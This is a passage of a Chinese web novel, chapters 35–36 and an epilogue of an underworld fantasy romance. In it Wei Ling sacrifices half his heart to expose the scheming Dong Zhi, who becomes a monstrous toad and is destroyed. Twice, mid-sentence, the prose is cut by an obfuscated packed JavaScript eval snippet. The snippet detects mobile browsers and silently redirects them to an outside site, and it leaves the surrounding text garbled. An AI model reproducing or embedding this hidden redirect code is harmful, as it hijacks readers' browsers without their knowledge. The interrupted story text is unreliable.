冰冷的刀尖透过衣裳扎在身上,不足以刺破皮肤却让他心口接触的地方泛起尖锐的疼,“你...是来杀我的?” 简短的三个字不亚于晴天霹雳,原本压下的内伤再次撕裂,血腥味从口腔弥漫,又被他咽了下去。 35. 第 35 章 他苦笑道:“你要杀我,这样提前说可不行。” 不是预料中的质问、大怒,这双包含痛苦以及不可置信的眸子,同样也击溃了她的心理防线,让心脏也一同被揪紧,“我知道,所以我让你提前准备下演戏。” 卫凌:“.....” 短短几息他就感受到了从云端坠落地狱,又在苦苦挣扎之际重新获得新生,没有一点强大定力恐怕要当场崩溃。 和洛遥想象的不一样,眼前的人神色未见半分缓和,呆滞的眸子许久没有回神,她有点心虚地想是不是把人吓过头了。 “你真是上天派来折磨我的。”凝滞的表情终于破碎,笑容看起来比哭还难看。 刀尖依旧顶在胸口,卫凌竟用力拥住了她,洛遥慌忙收刀还是慢了一步,刀尖已经刺破了他的皮肤。 “你疯了,我差点捅穿你的心脏。” 握着匕首的手臂微微发颤,几乎要拿不住手上的凶器,他已经受了重伤,再刺一刀真的会死的。 她着急收刀,却被卫凌的手拦住,“他应该在背后躲着吧。” 不知为何,她的眼皮跳动的厉害,不安的感觉越来越明显。 “你想要做什么?” 他的笑意竟带着决绝和狠劲,“不咬钩,钓鱼人怎么肯现身收网呢?” 手里的匕首不受控制,直接捅进了卫凌的心脏,他握着洛遥颤抖的手,轻声道:“别害怕,不会有事的。” “怎、怎么会没事呢?” 眼前的场景逐渐变得模糊,眼眶烫得厉害,热流划过脸颊滴落手背的时候,她还恍惚发觉自己竟已经泪如雨下。 “别哭,不会有事。” 他又重复了一遍。 洛遥的身体僵硬的像枯朽的树干,四肢全然失去动弹的能力,刺进心脏的刀柄还握在手上,许久她才颤抖着松开。 僵硬卡顿的脑袋听到一声微弱的声音,“我有一个东西要交给你保管,等着你再次亲手交给我。” 那是滚烫的、血腥的、还在跳动的...... *** 第一次见卫凌,洛遥对于他的印象是强大,似乎在他绝对的武力之下没有什么问题是解决不了的,她从未想过这样强大的人有一天会在自己眼前倒下。 生命力一点一点在流失,脆弱到不堪一击。 这是她从未设想过的场景,在刹那间发生的时候,竟然有些荒诞。 她听见了背后一声愉悦的笑,兴奋、急不可耐不加掩饰,“洛遥我果然没有看错你,你做的很好。” 董知终于露面,径直走到躺在地上胸膛只有微弱起伏的身体面前,睥睨地上曾经强大的神,俊逸的面容是从所未有的癫狂,“谁说神就高人一等,不过是掌握了几分强大的力量就凌驾于众生之上。” “你们这些神哪知道众生轮回、不得挣脱的苦楚,凭什么你们就高高在上视苍生为刍狗。” “我就要让你们看看,得了这份力量谁都可以成神。” 洛遥拿着匕首挡在他面前,“不准动他。” 董知并没有将洛遥放在眼里,对于他而言洛遥的力量与蝼蚁无异,“你拦不了我快让开,只要你依旧听我的话,我必少不了你的嘉赏,就算是你想坐上四殿之一的位置也未尝不可。” 他的理解、关照、鼓励从来都是一味裹着糖霜的毒药,作为饱受资本压榨的现代人洛遥曾经很感激这份知遇之恩,殊不知这同样是麻痹神经的毒药。 “你一直都在利用我,甚至用拯救三界充满正义光环的理由。你害了这么多人,全都是为你成神铺路,现在你还打算继续诓骗我吗?” 她的愤怒竟让董知笑出声,“洛遥你知不知道你有时候天真的可笑,凡事非要弄清楚是非对错,即使面对地狱恶鬼,你还指望着他们能重获良知。” “拯救三界在谁听来都是个笑话,只有你洛遥当真了。” “那么你被骗又怪得了谁呢?大英雄。” 他笑着拍上洛遥的肩膀,洛遥便被钉在原地,“不要坏我好事,今日过后,你还可以做你的英雄,做人人称赞为人平案的洛大人。” 她看着董知越靠越近,伸向卫凌血淋淋的胸膛,声音颤抖了起来,嗓子干涩到快要失声。 “住手。” 董知充耳未闻,徒手挖出了胸膛里还在跳动的心脏,可看清掌中之物时却陡然惊住,“怎么只有半颗?” 他不相信,又在胸膛里翻搅了一遍,将破碎的身体都弄得乱七八糟,洛遥哭着朝他嘶吼,“够了,另一半心脏他给了我。” 失落的心情又被突如其来的惊喜覆盖,董知收回血淋淋的手,松开洛遥的禁制,焦急催促,“在你这,快给我。” 洛遥咧嘴一笑,“神的血肉可以净化,那半颗心脏早就和我融为一体,不然我的脸怎么会好。” 欣喜若狂的面容骤然破碎,被戏耍的董知勃然大怒,一掌劈向洛遥,“你竟然骗我。洛遥啊洛遥,枉我对你一番期待,可你居然叛主,那你留着也没有什么用了。” 洛遥倒在卫凌旁边,喉中血腥涌上口腔,全身都像是散架了一般,力量强弱的悬殊再一次赤裸裸摆在她面前。 可如今她却释然了。 怎样定义强弱? 是拥有强大神力却昏迷不醒的卫凌,还是偷得神力轻易取人性命的贫弱书生。 没有谁会一直强下去,除命数之外还有运道。 洛遥再赌,赌她能够又一次的幸运,哪怕是狗屎运也好。 “尽管下手,你无情无义,无品无德,众叛亲离,没有谁会真的追随你这个卑鄙的小偷。” ‘小偷’两个字挑动了一直暗藏在董知灵魂深处的毒刺,将他强大光鲜亮丽的外衣拔下,露出里面最不堪的本质。 直视他最不想承认的事实,骄傲只是虚假的表面。 他一直都是那个自卑、求而不得扭曲的可怜虫。 “你不从,那就去死!” *** 与王心莲缠斗的落水忽然停手,“你引我到这里,又刻意激怒我,想拖着我和你打下去,是在为谁争取时间吗?” 王心莲不想她这么快就发现了问题,也不知道洛大人那里得手了没有,只能继续拖延,“我早就看不惯你了,引你到此确实是因为殿主有交代,必须将你这个为祸西宁的恶神就地伏诛。” 这一次洛水没有生气,反倒心平气和波 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14223043|145983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 澜不惊,用颇具苍老的语气道:“现在的年轻人都如此有抱负吗?只是可惜,没有脑子。” 他甩开衣袖,卷起地上尘沙,“今日的游戏到此为止,我得去看看我的老朋友了。” 等烟尘散尽,洛水又跑得无影无踪,王心莲气急只能追上去阻止。 **** 眼中的猩红血丝爬满眼球,似乎马上就要涨裂。 欣长好看的手指沾满黏腻的血液,是极具观赏性的凶器,可就在劈向洛遥的天灵盖时,这双好看的指节间竟然生出了可怕黏腻的噗。 五指全都粘粘在一起,光洁的手背滚起一个个金黄的鼓包,董知大惊失色,顾不上解决洛遥,赶紧把可以解毒的半颗心脏送到自己体内。 他看向自己变形的手,可丑陋的右手并没有得到缓解,反而连自己的左手都变成像青蛙似的前腿,身上的皮肤一寸寸蜕变,金黄的疙瘩带着诡异的花纹像病毒一样蔓延全身。 “怎么会这样?” 意识到那颗心脏的不对劲,董知立刻伸进自己胸膛要将那半颗心拿出来,可这半颗心死死黏在他的心脏上,根本拽不掉,乌黑的肉块就像是寄生虫,逐渐污染原本通红的心脏。 慢慢融化成一团黏腻的污黑。 董知痛苦嚎叫,身体也鼓胀开。 还真赌赢了! 她原本也是孤注一掷,赌他已经压不住洛水神骨上的污染。 由欲望而生的毒,牵动心绪,情绪越激动越容易显现,之前她也是平心静气之后才压下毒性保持理性的。 那董知失去理智之后还能压制吗? 事实证明他和普通人没有什么两样,只是一个小小的激将法就将他原形毕露。 洛遥趁他分神之际,快速将藏在身上的半颗没被污染的心脏塞回到卫凌胸膛,感受到那半颗心脏重新跳动,眼眶便止不住酸涩。 卫凌也在赌,赌董知的目的就是他的心脏,所以他将毒压在一半心脏处,另一半完好的交由她保管。 他把生的希望亲手交到了她手里。 也用几乎惨烈的方式引蛇出洞,让她看清了自己效忠的人真正面目。 把自己算作赌注,他太狠了。 算准了,他就此一辈子都要记住这份愧疚,一辈子也还不清这份情,一辈子也别想独自脱身。 可此刻洛遥却恨不起来,她只想这个鼻孔朝天的二世祖能重新站起来,哪怕是继续和她拌嘴也好,而不是像一个死人一样躺在地上。 她轻声呼唤卫凌,微弱的声音很快被耳边嘶吼覆盖,董知已经完全蜕变了模样,变成了小山一般巨大的蟾蜍,硕大的眼珠子几乎爆了出来,惊恐地望着自己的短小的四肢以及肥硕的身体。 “不可能,不可能,我是神,我应该是神!我不是畜生!” 洛水赶过来时就看到了这一幕,不禁放肆嘲讽,“人心不足蛇吞象,你将别人变成畜生的时候,也有想过自己也会有这一天。” 肥硕的身体看到洛水时抖了下,明显的惧意浮现在五官不分明的脸上,洛遥见到救兵终于过来,心定了几分,可还来不及高兴,就被一条长长猩红的舌头卷到蟾蜍背上。 “!!!” 36. 第 36 章 蟾蜍的后背鼓起一道鲜明的脊骨,那脊骨像是活物,马上要破体而出。 带着她一路奔到酒楼,趴扶在横梁之上,地下的食客一如想珍味楼那般疯狂,他们完全沉浸在美食之中,并没有注意到头顶上盯着他们的怪物。 猩红的嘴巴大张,沉浸在各种美妙幻想中的人臆想的欲望全都被吸入蟾蜍嘴中,背后的脊骨才像吃饱了一样终于消停。 此刻一条模糊的才从洛遥脑海中理清。 洛水说过他是吸收众生欲望的神,那抢了神骨的董知同样了吸收了神骨附着的欲望,而作为控制不了神骨的凡人,不想承受反噬必须用更多的欲望喂饱神骨。 董知制造了一切的悲剧,他必须让这些欲望作为解药。 蟾蜍的肚子鼓的像皮球,腹中翻滚一口毒雾吐向了洛遥。 “洛遥你想独善其身绝对不可能,我要让你和我一样,变成这副鬼样子,和我一起下地狱。” 毒雾腥臭难闻,洛遥被呛得咳嗽,从横梁跳下了下去,蟾蜍紧追而来,巨大的身体压塌了好几张桌子,食客们惊声尖叫,却在蟾蜍毒雾再次喷出之后,露出疯狂的笑容。 “美人,哈哈,过来。” “金子,都是金子,都是我的。” 每个人都沉浸在不同的幻境中,蟾蜍咧嘴露出满意的笑,转头看向洛遥却是使劲用袖子扇着空气,一手捂鼻作呕的样子。 “......” 她为什没有被幻境困住,蟾蜍嘴角笑意僵住,爬到洛遥身边继续诱惑,“你难道不想拥有权利吗?” 洛遥毫不犹豫回答:“想。” 蟾蜍终于满意,继续诱哄,“拥有权力你就能随意支配别人,掌握更多的财富,让别人都为你卑躬屈膝。” 他拿起桌上的食物递过去,“想要你就吃了它,吃了你就能实现你的愿望。” “抱歉啊,我不吃别人的口水,还有我对别人卑躬屈膝不感兴趣,我只想快快乐乐升职。” “.......” 毒雾终于散去,洛遥才放下衣袖,双眼清明,哪里有被影响的样子。 “不可能,你怎么会不受影响!” “这是由欲望制成的毒,要是没有欲望怎么还影响人的心智呢。” “不可能,是人都有欲望,你不是想要权利吗?快吃了它!” “凡事看淡,想要的终究会来的,不来的,也本就不属于我的。”其实这个毒抓住的是人内心的执,因执成念,早就求而不得,不可解脱的痛苦。 能看清,看透之后,反而会不受影响,得到超脱自由。 洛遥的淡然刺痛了董知的眼睛,在他疯狂之际又继续火上添油,“所以,沦为畜生的只有你。” “你渴望权利、力量最后终将一无所有。” “不,我还没有输。”他疯狂吸收周边的欲望,鼓胀的身躯还在继续涨大,洛遥退后几步以免碰到她黏腻的皮肤。 “其实,我有个问题一直很好奇。” 已经有拳头大的眼珠子咕噜转过来,就听洛遥继续道:“你在西宁追杀洛水百年,为什么会忽然回去开始彻查地府案件,又恰好能发现王心莲那本被藏起来的命簿。” “从数万账本中精准找到王心莲无异于大海捞针,除非你早就发现了王心莲会有问题。” 硕大的眼珠中闪过一丝赞赏,这份赞赏又因为复杂的情绪纠结成憎恨,“我果然没有看错人,你真的很聪明。” “我喜欢和聪明人打交道,你要肯和我联手,就算是神也不是我们的对手,可你为什么偏偏要和我作对呢!” 他忽然有些好奇,“你是什么时候发现不对的?” “王心莲本应十世圆满荣登神界,可是偏偏在最后一世出现连命册都没记载到的问题,凡人的命数不可轻易改动,可王心莲出了这个大的差错,居然没有任何人怀疑改命数的人。” “最后,王心莲不能顺利回神界,只能继续留在地府。”洛遥忽然笑了,“似乎,地府才是最后的赢家,一个能专克邪祟的鬼,天上地下绝无仅有。” 阴谋被揭露,董知所幸也不再隐瞒,“不错,你都猜对了,是我迷惑了那群刁民,我需要王心莲做我的刀。” “洛遥你如此聪明,为什么偏偏要和我作对呢。”肥硕的身躯步步靠近,挤到四周挡路的桌椅,沉浸在幻觉之中,食客毫无察觉,被带着黏液的舌头卷入口中,沦为入腹食物。 欲望是永无止境的,当被侵染的时候,饥饿就像无底洞填不满,挠心挠肺的痛苦驱使着吞噬更多的欲望,当得到满足之后,反扑而来的是更为强烈的不满足。 摧磨心智,失去本性。 董知知道已经无法找回理智了,但他要在彻底沦为畜生之前,拉上洛遥陪葬。 这个他以为能拿捏却最后摆他一道的棋子。 腥臭的嘴巴,从上俯冲而下,“洛遥,我们地狱见。” 洛遥躲闪不及,一道极光闪现眼前,满是尖牙的下颌要咬穿天灵盖时,红缨尖枪撑开一片空间。 来人单膝跪地,衣裳带血略显狼狈,胸膛上依旧有未愈合的疤痕,可眼神坚不可摧,耀眼的眸光几乎烫到了她的心口。 “没事,我来了。” 嘴巴被刺穿的金蟾蜍拼命嘶吼,被卫凌单脚踹到墙上砸出一个空洞,剧烈的轰鸣声,惊醒了幻觉中的食客,美人黄金池全部变成残垣断壁,和眼前被碎瓦片掩盖丑陋癞蛤蟆。 众人吓得腿软,手脚并用往外跑。 却不料看着半死不活的癞蛤蟆居然猛得翻身,将周围所有的东西全部吸入腹中,离得近的还没跑出大厅的食客,全都沦为腹中餐。 狂风骤起,洛遥脚步没稳住,差点被吸进去,在与卫凌错身之际被他一手抓住。 风暴的吸力带着摧毁天地的狂暴,卫凌将红缨枪钉死在地上才没能让两人被卷进去。 他的实力太强了,吸收了越多来越多的欲望,也让他成为难以杀除的邪祟。 这样下去不是办法。 拖下去只会被熬死。 洛遥召出勾魂索,朝金蟾蜍抛去,却抓了个空,放肆的声音在四周围绕,“你抓不住我的,哈哈哈哈...” 不对! 勾魂锁能勾人魂魄,除非董知不是他的真名。 “你的真名叫什么?” 金蟾蜍自然不会告诉她,卫凌见状,决定拼死一搏。 他将洛遥绑在旁边的柱子上,以免她受到殃及,“我去和他会会,你躲好。” 洛遥拉住他不放,“再等等。” 看着越来越金蟾蜍鼓胀的肚皮,洛遥揣测道:“欲望总会有撑破的时候,等他丧失理智的时候,偷袭才是最好的办法。” 具体到什么时候,她也不知道。 但她不能让卫凌就这样去冒险。 “实在不行,我和你一起去。”她顿了下,“他的目的是我,我可以做诱饵。” “不行。”卫凌想也不想拒绝。 “我说你们怎么就不找找老朋友的帮忙呢!”洛遥凌空而来,一脚踏在金蟾蜍张大的嘴巴上,硬生生让他闭了嘴,他略带嫌弃的望着金蟾蜍后背隆起的神骨,“我的骨头,被你养的脏死了。” 他的右手聚起一团漆沉的黑气,金蟾蜍瞪圆的眼珠子直勾勾被吸引,却也在同时感到深深的恐惧。 “想吃这些脏东西,就让你吃个饱。” 那团黑气被塞进了金蟾蜍嘴里,圆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14233534|145983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鼓鼓的肚皮瞬间充气般,鼓成小房间大小,原本还有些清明的眼珠,只剩下浑浊。 耳边紧接着一道厉声逼问:“你到底是谁?” 周围场景变换,窈窕的美人款步而来,“董狼。” 金蟾蜍肥硕的身体被这轻声细语惊得一抖,步步后退,那道声音却如幽魂挥之不去。 “董朗不是说好要和我生生世世在一起,怎么要抛弃我成仙而去。” “滚开,那是你蠢,无知蠢妇,被我三言两语就哄骗,谁要和你生生世世在一起。” 婉转的声音顿时尖锐,“董清,你敢违背你的誓言!” “想甩开我绝对不可能,你要永远陪着我,陪着我留在人间。” 妙龄少女忽然变成锁魂恶魂,扑了上来,后背忽然钝痛,那少女又变成了洛水。 他抽出神骨,放在了自己身体中,扭动着伸展身体,朝洛遥眨眼,“可真得谢谢你,没有你,我还不知道什么时候能拿回神骨。” 风暴已停,洛遥解下身上的束缚,并没有和他搭腔,正要用勾魂索,缉拿地上苟延残喘偷活百年真正叫董清的人。 也是那个洛遥没有预料到,曾经欺骗帝君爱女的凡人。 原来竟是他。 一人却从身后失魂落魄而来,轻声问:“你抓住他是带回地府吗?” 王心莲面色惨白,声音暗哑,洛遥顿时想到她应该听到自己刚才的话,知道沁阳真正的主谋是这位谁也没有想到的殿主大人。 “嗯.....他的罪行恐怕要生生世世沦为畜生,不得超生。” “可我不想要他活着。”她喃喃道,走到金蟾蜍旁边,一手从肥硕的身体中抽出灵魂,“你害死了多少人,多少人因你痛不欲生,你以为你还配活着,哪怕是畜生也不配。” 来不及阻止,这团魂灵就碎在了她手中。 “不好意思,洛大人。”王心莲失声说。 “没关系,都无所谓了,他沦为畜生受苦,其实是最痛苦的方式。” “我知道...但我控制不住我自己。” 低泣笼罩着周围的死寂和杂乱中,洛遥无声抱住她,却忽然感到一团炙热的金光,刺眼有那么温暖,看清楚后,洛遥惊喜道:“你终于成神了。” 王心莲愣了片刻,嘴角落寞笑意消失,像是终于想清楚了什么,“谢谢你,洛大人,我想没有你,我可能永远都是一只飘荡在人间的厉鬼吧!” “不用谢我,这也是你自己的机遇。” 洛遥笑道:“未来还长,悟已往之不谏。 王心莲接道:“知来者之可追。” 一人凑过来,满脸委屈,“我刚才也说谢谢了,你怎么爱搭不理的。” 卫凌大掌盖在他脸上将谄媚的嘴脸推到一边,“你但凡知道识相两个字怎么写,就应该闭嘴。” “凭什么让我闭嘴,我也出力了好吧,要不是我来的及时能把那癞蛤蟆撑死?” 熟悉的争吵又开始,洛遥和王心莲无奈相视一笑。 **** 尾声。 我叫洛遥,意外穿越到古代地府,从小鬼吏做到阎王的人。 本来我已经成功接替我的上司,成为冥狱四司死殿之主,但是我的好闺蜜、老情人还有一个赶也赶不走的老朋友,总觉得死殿之主依旧不够威风。 三个上神,为我打工,硬生生爬到了阎王的位置。 其他三司,虽然不满,但碍于政绩在前,关系在后,不敢吭声。 整个地府都知道我是关系户,起初我虽然也不太满意,但发现别人为自己打工的爽感,便陷入了自我放弃中。 关系户怎么了? 这关系可是自己找上门来的。